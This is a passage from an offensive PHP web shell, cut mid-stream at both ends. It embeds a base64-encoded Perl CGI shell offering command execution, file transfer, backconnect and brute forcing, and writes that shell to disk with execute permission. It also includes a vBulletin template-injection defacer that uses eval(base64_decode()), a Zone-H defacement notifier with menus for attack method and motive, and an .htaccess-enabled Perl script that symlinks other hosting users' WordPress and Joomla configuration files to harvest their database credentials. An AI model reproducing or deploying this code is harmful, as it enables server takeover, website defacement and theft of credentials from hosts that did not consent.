gVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==';

$file = fopen("cgi2012.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
    chmod("cgi2012.izo",0755);
   echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
 
 </div>"; }
 
 
 elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=vb" method="post">

<br><div align="center">

<font color="#00FF00">&nbsp;vB Index Changer</font><font color="#FF0000">

<br></font></div><br>

<?

if(empty($_POST['index'])){
echo "<center><FORM method=\"POST\">
host : <INPUT class=\"inputz\" size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\">
database : <INPUT class=\"inputz\" size=\"15\" style='color:#FF0000;background-color:#000000' value=\"forum_vb\" name=\"database\" type=\"text\"><br>
username : <INPUT class=\"inputz\" size=\"15\" style='color:#FF0000;background-color:#000000' value=\"forum_vb\" name=\"username\" type=\"text\">
password : <INPUT class=\"inputz\" size=\"15\" style='color:#FF0000;background-color:#000000' value=\"vb\" name=\"password\" type=\"text\"><br>
<br>
<textarea class=\"inputz\" name=\"index\" cols=\"70\" rows=\"20\">Set Your Index</textarea><br>
<INPUT class=\"inputzbut\" value=\"Set\" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
</FORM></center>";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());

$index=str_replace("\'","'",$index);

$set_index = "{\${eval(base64_decode(\'";

$set_index .= base64_encode("echo \"$index\";");


$set_index .= "\'))}}{\${exit()}}</textarea>";

echo("UPDATE template SET template ='".$set_index."' ") ;
$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());

if($ok){
echo "!! update finish !!<br><br>";
}

}
# Footer
 echo "</div>"; }
 
  elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){	?>
<form action="?y=<?php echo $pwd; ?>&amp;x=zone-h" method="post">
<br><br><? echo '
<center><span style="font-size:1.6em;"> .: Notifier :. </span></center><center><form action="" method="post"><input class="inputz" type="text" name="defacer" size="67" value="Kh4lifax" /><br> <select class="inputz" name="hackmode">
<option>------------------------------------SELECT-------------------------------------</option>
<option style="background-color: rgb(0, 0, 0);" value="1">known vulnerability (i.e. unpatched system)</option> 
<option style="background-color: rgb(0, 0, 0);" value="2" >undisclosed (new) vulnerability</option> 
<option style="background-color: rgb(0, 0, 0);" value="3" >configuration / admin. mistake</option> 
<option style="background-color: rgb(0, 0, 0);" value="4" >brute force attack</option> 
<option style="background-color: rgb(0, 0, 0);" value="5" >social engineering</option> 
<option style="background-color: rgb(0, 0, 0);" value="6" >Web Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="7" >Web Server external module intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="8" >Mail Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="9" >FTP Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="10" >SSH Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="11" >Telnet Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="12" >RPC Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="13" >Shares misconfiguration</option> 
<option style="background-color: rgb(0, 0, 0);" value="14" >Other Server intrusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="15" >SQL Injection</option> 
<option style="background-color: rgb(0, 0, 0);" value="16" >URL Poisoning</option> 
<option style="background-color: rgb(0, 0, 0);" value="17" >File Inclusion</option> 
<option style="background-color: rgb(0, 0, 0);" value="18" >Other Web Application bug</option> 
<option style="background-color: rgb(0, 0, 0);" value="19" >Remote administrative panel access bruteforcing</option> 
<option style="background-color: rgb(0, 0, 0);" value="20" >Remote administrative panel access password guessing</option> 
<option style="background-color: rgb(0, 0, 0);" value="21" >Remote administrative panel access social engineering</option> 
<option style="background-color: rgb(0, 0, 0);" value="22" >Attack against administrator(password stealing/sniffing)</option> 
<option style="background-color: rgb(0, 0, 0);" value="23" >Access credentials through Man In the Middle attack</option> 
<option style="background-color: rgb(0, 0, 0);" value="24" >Remote service password guessing</option> 
<option style="background-color: rgb(0, 0, 0);" value="25" >Remote service password bruteforce</option> 
<option style="background-color: rgb(0, 0, 0);" value="26" >Rerouting after attacking the Firewall</option> 
<option style="background-color: rgb(0, 0, 0);" value="27" >Rerouting after attacking the Router</option> 
<option style="background-color: rgb(0, 0, 0);" value="28" >DNS attack through social engineering</option> 

<option style="background-color: rgb(0, 0, 0);" value="29" >DNS attack through cache poisoning</option> 
<option style="background-color: rgb(0, 0, 0);" value="30" >Not available</option> 
option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
</select> <br>

<select class="inputz" name="reason">
<option >------------------------------------SELECT-------------------------------------</option> 
<option style="background-color: rgb(0, 0, 0);" value="1" >Heh...just for fun!</option> 
<option style="background-color: rgb(0, 0, 0);" value="2" >Revenge against that website</option> 
<option style="background-color: rgb(0, 0, 0);" value="3" >Political reasons</option> 
<option style="background-color: rgb(0, 0, 0);" value="4" >As a challenge</option> 
<option style="background-color: rgb(0, 0, 0);" value="5" >I just want to be the best defacer</option> 
<option style="background-color: rgb(0, 0, 0);" value="6" >Patriotism</option> 
<option style="background-color: rgb(0, 0, 0);" value="7" >Not available</option> 
option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option> 
</select> <br>
<textarea class="inputz" name="domain" cols="90" rows="20">List Of Domains, 20 Rows.</textarea><br><br>
<input class="inputz" type="submit" value=" Go !! " name="SendNowToZoneH"/><br> 
</form>'; ?> 
<? 
    echo "</form></center>";?> 
<? 
function ZoneH($url, $hacker, $hackmode,$reson, $site ) 
{ 
    $k = curl_init(); 
    curl_setopt($k, CURLOPT_URL, $url); 
    curl_setopt($k,CURLOPT_POST,true); 
    curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson); 
    curl_setopt($k,CURLOPT_FOLLOWLOCATION, true); 
    curl_setopt($k, CURLOPT_RETURNTRANSFER, true); 
    $kubra = curl_exec($k); 
    curl_close($k); 
    return $kubra; 
} 
{ 
                ob_start(); 
                $sub = @get_loaded_extensions(); 
                if(!in_array("curl", $sub)) 
                { 
                    die('<center><b>[-] Curl Is Not Supported !![-]</b></center>'); 
                } 
             
                $hacker = $_POST['defacer']; 
                $method = $_POST['hackmode']; 
                $neden = $_POST['reason']; 
                $site = $_POST['domain']; 
                 
                if (empty($hacker)) 
                { 
                    die ("<center><b>[+] YOU MUST FILL THE ATTACKER NAME [+]</b></center>"); 
                } 
                elseif($method == "--------SELECT--------")  
                { 
                    die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>"); 
                } 
                elseif($neden == "--------SELECT--------")  
                { 
                    die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>"); 
                } 
                elseif(empty($site))  
                { 
                    die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>"); 
                } 
                $i = 0; 
                $sites = explode("
", $site); 
                while($i < count($sites))  
                { 
                    if(substr($sites[$i], 0, 4) != "http")  
                    { 
                        $sites[$i] = "http://".$sites[$i]; 
                    } 
                    ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]); 
                    echo "Domain : ".$sites[$i]." Defaced Last Years !"; 
                    ++$i; 
                } 
                echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]"; 
            } 
  
echo "</div>"; }


elseif(isset($_GET['x']) && ($_GET['x'] == 'config')) { echo "<center/><br/><b><font color=blue>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";

  mkdir('config', 0755);
    chdir('config');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
		
AddType application/x-httpd-cgi .cpc

AddHandler cgi-script .izo
AddHandler cgi-script .izo";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7IGJhY2tncm91bmQ6IzAwMDAwMDsgfSBhIHsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0gYTpob3ZlcnsNCglib3JkZXItYm90dG9tLXdpZHRoOiAxcHg7DQoJYm9yZGVyLWJvdHRvbS1zdHlsZTogc29saWQ7DQoJYm9yZGVyLWJvdHRvbS1jb2xvcjogIzk5MDAwMDsNCn0gKnsgZm9udC1zaXplOjExcHg7IGZvbnQtZmFtaWx5OlRhaG9tYSxWZXJkYW5hLEFyaWFsOyBjb2xvcjojRkZGRkZGOyB9ICNtZW51ew0KCW1hcmdpbi10b3A6IDhweDsNCgltYXJnaW4tcmlnaHQ6IDZweDsNCgltYXJnaW4tYm90dG9tOiAycHg7DQoJbWFyZ2luLWxlZnQ6IDJweDsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjOTkwMDAwOw0KCWhlaWdodDogMjRweDsNCn0gI21lbnUgYXsNCgltYXJnaW46MDsNCgliYWNrZ3JvdW5kOiMyMjIyMjI7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJbGV0dGVyLXNwYWNpbmc6MnB4Ow0KCWZvbnQtZmFtaWx5OiB0YWhvbWEsIHZlcmRhbmEsIEFyaWFsOw0KCWNvbG9yOiAjQ0MwMDAwOw0KCXBhZGRpbmctdG9wOiA0cHg7DQoJcGFkZGluZy1yaWdodDogMTJweDsNCglwYWRkaW5nLWJvdHRvbTogNnB4Ow0KCXBhZGRpbmctbGVmdDogMThweDsNCn0gI21lbnUgYTpob3ZlcnsgYmFja2dyb3VuZDojMTkxOTE5OyBib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMzMzMzMzOyBib3JkZXItdG9wOjFweCBzb2xpZCAjMzMzMzMzOyB9IC50YWJuZXR7DQoJbWFyZ2luOjE1cHggYXV0byAwIGF1dG87DQoJYm9yZGVyOiAxcHggc29saWQgIzMzMzMzMzsNCgljb2xvcjogI0ZGQ0MwMDsNCn0gLm1haW4gew0KCXdpZHRoOjk3JTsNCgltYXJnaW46MzBweCBhdXRvIDEwcHg7DQoJcGFkZGluZzoxMHB4IDEwcHggNXB4IDEwcHg7DQoJYm9yZGVyLXJhZGl1czo1cHg7DQotbW96LWJvcmRlci1yYWRpdXM6NXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4ICM5OTAwMDA7IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCAjOTkwMDAwOwliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfSANCi5kb21haW4gew0KCWNvbG9yOiAjQ0MwMDAwOw0KCWJvcmRlcjogMXB4IHNvbGlkICM5OTAwMDA7DQp9DQouZ2F5YSB7IGNvbG9yOiAjQ0MwMDAwOyB9DQouZGYgew0KCWNvbG9yOiAjQ0MwMDAwOw0KCWZvbnQtZmFtaWx5OiB0YWhvbWEsIHZlcmRhbmEsIEFyaWFsOw0KfSANCi5pbnB1dHp7IGJhY2tncm91bmQ6IzExMTExMTsgYm9yZGVyOjA7IHBhZGRpbmc6MnB4OyBib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMjIyMjIyOyBib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyOyB9IC5pbnB1dHpidXR7IGJhY2tncm91bmQ6IzExMTExMTsgY29sb3I6I0NDMDAwMDsgbWFyZ2luOjAgNHB4OyBib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7IGN1cnNvcjpwb2ludGVyO30gLmlucHV0ejpob3ZlciwgLmlucHV0emJ1dDpob3ZlcnsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgI0NDMDAwMDsgYm9yZGVyLXRvcDoxcHggc29saWQgI0NDMDAwMDsgfSAub3V0cHV0IHsgbWFyZ2luOmF1dG87IGJvcmRlcjoxcHggc29saWQgI0NDMDAwMDsgd2lkdGg6MTAwJTsgaGVpZ2h0OjQwMHB4OyBiYWNrZ3JvdW5kOiMwMDAwMDA7IHBhZGRpbmc6MCAycHg7IH0gLmNtZGJveHsgd2lkdGg6MTAwJTsgfSAuaGVhZF9pbmZveyBwYWRkaW5nOiAwIDRweDsgfSAuYjF7IGZvbnQtc2l6ZTozMHB4OyBwYWRkaW5nOjA7IGNvbG9yOiM0NDQ0NDQ7IH0gLmIyeyBmb250LXNpemU6MzBweDsgcGFkZGluZzowOyBjb2xvcjogIzMzMzMzMzsgfSAuYl90Ymx7IHRleHQtYWxpZ246Y2VudGVyOyBtYXJnaW46MCA0cHggMCAwOyBwYWRkaW5nOjAgNHB4IDAgMDsgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMzMzMzMzOyB9IA0KPC9zdHlsZT4gDQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gYmV0YS50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEgLSB3ZWIudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEgLSBteS50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gc2l0ZS50eHQnKSA7ICAgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13b3JkcHJlc3MgLSBiZXRhLnR4dCcpIDsgIA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215L2NvbmZpZy5waHAnLCRrb2xhLictIE90aGVyLW15LnR4dCcpIDsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlnLnBocCcsJGtvbGEuJy0gT3RoZXIudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9saWIvY29uZmlnLnBocCcsJGtvbGEuJy0gQmFsaXRiYW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50LnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5ncy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wd